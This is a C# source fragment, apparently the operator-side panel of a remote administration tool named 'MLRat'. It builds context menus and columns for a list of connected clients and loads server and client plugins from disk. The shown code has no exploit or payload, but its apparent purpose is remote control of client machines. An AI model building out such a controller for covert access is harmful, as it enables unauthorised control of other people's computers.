public MLUiHost(MLPlugin plugin, OnContextMenuAdd callback, OnColumnItemAdd _columnAdd, GetImageDelegate _getImagecallback, OnLogDelegate _logCallback) { _getImage = _getImagecallback; _plugin = plugin; OnContextAdd = callback; OnColumnAdd = _columnAdd; logCallback = _logCallback; }
void AddMenuItem(MLPlugin _plugin, ToolStripMenuItem parent, MLRatContextEntry entry) { ToolStripMenuItem _menu = new ToolStripMenuItem(); Image toolstripIcon = getImage(entry.Icon); if (toolstripIcon != null) _menu.Image = toolstripIcon; _menu.Text = entry.Text; _menu.Tag = new MLContextData() { Plugin = _plugin, ContextData = entry }; if (entry.OnClick != null) _menu.Click += ContextMenu_Click; if (entry.SubMenus != null) { foreach (var subentrys in entry.SubMenus) AddMenuItem(_plugin, _menu, subentrys); } parent.DropDownItems.Add(_menu); }
public pluginDisplay(MLPlugin _plugin) { InitializeComponent(); Plugin = _plugin; }
void AddSingleContext(MLPlugin _plugin, MLRatContextEntry entry) { ToolStripMenuItem _baseItem = new ToolStripMenuItem(); Image toolstripIcon = getImage(entry.Icon); if (toolstripIcon != null) _baseItem.Image = toolstripIcon; _baseItem.Text = entry.Text; _baseItem.Tag = new MLContextData() { Plugin = _plugin, ContextData = entry }; if (entry.OnClick != null) _baseItem.Click += ContextMenu_Click; if (entry.SubMenus != null) { foreach (var subentry in entry.SubMenus) AddMenuItem(_plugin, _baseItem, subentry); } ClientContextStrip.Items.Add(_baseItem); }
void OncontextAdd(MLPlugin _plugin, MLRatContextEntry[] entry) { foreach(MLRatContextEntry contextentry in entry) { AddSingleContext(_plugin, contextentry); } }
IClient[] SelectedClients(MLPlugin _plugin) { List<IClient> _selectedClients = new List<IClient>(); foreach (ListViewItem i in clientList.SelectedItems) { try { this.Invoke((MethodInvoker) delegate() { MLClientData _client = (MLClientData) i.Tag; _selectedClients.Add(new MLClient(_client.ID, _plugin.ClientPluginID, _client)); }); } catch(Exception ex) { DisplayException(_plugin, ex); } } return _selectedClients.ToArray(); }
void OnColumnUpdate(MLRatColumn sender, MLPlugin plugin, IClient client, string value) { try { MLClientData d = ConnectedClients[client.ID]; ListViewItem i = (ListViewItem)d.DisplayObject; EditSubitem(i, sender.Index, value); } catch(Exception ex) { DisplayException(plugin, ex); } }
IMLRatColumn OnColumnAdd(MLPlugin _plugin, string name, string defaultValue) { lock(this) { MLRatColumn column = new MLRatColumn(OnColumnUpdate); column.Parent = _plugin; ColumnHeader header = clientList.Columns.Add(name); column.Index = header.Index; header.Tag = defaultValue; Invoke((MethodInvoker)delegate () { foreach (ListViewItem clientItem in clientList.Items) { foreach (ColumnHeader cheader in clientList.Columns) { if (clientItem.SubItems.Count == header.Index) { clientItem.SubItems.Add((string)header.Tag); } } } }); Console.WriteLine("Added column: {0}", name); return column; } }
void LogText(MLPlugin plugin, string text, Color c) { try { rtbPluginLog.LogText(string.Format("[{0}] ", plugin.PluginInfomation.PluginName) + text, c); } catch(Exception ex) { DisplayException(plugin, ex); } }
void LoadPlugin(string path) { MLPlugin _plugin = null; try { byte[] PluginBytes = File.ReadAllBytes(path); _plugin = new MLPlugin(PluginBytes); if (!_plugin.Load()) throw new Exception("Failed to load plugin"); if (_plugin.ClientPluginID == Guid.Empty) throw new Exception("Invalid plugin ID"); if (LoadedPlugins.ContainsKey(_plugin.ClientPluginID)) throw new Exception("Client plugin ID match"); pluginDisplay _display = new pluginDisplay(_plugin); _display.Parent = pluginPanel; _display.Width = pluginPanel.Width; _display.Anchor = AnchorStyles.Left | AnchorStyles.Right | AnchorStyles.Top; _display.Location = new Point(0, LoadedPlugins.Count*_display.Height); pluginPanel.Controls.Add(_display); LoadedPlugins.Add(_plugin.ClientPluginID, _plugin); Console.WriteLine("Loaded plugin: {0}", _plugin.ClientPluginID.ToString("n")); _plugin.ServerPlugin.OnPluginLoad(new MLUiHost(_plugin, OncontextAdd, OnColumnAdd, getImage, LogText)); } catch(Exception ex) { DisplayException(_plugin, ex); } }
void DisplayException(MLPlugin plugin, Exception ex) { if (plugin != null && plugin.PluginInfomation != null) { rtbPluginLog.LogText(string.Format("[{0}] {1}", plugin.ServerPlugin, ex.Message), Color.Red); //Console.WriteLine("{0}: {1}", plugin.ClientPluginID, ex.ToString()); } else { rtbPluginLog.LogText(ex.Message, Color.Red); } }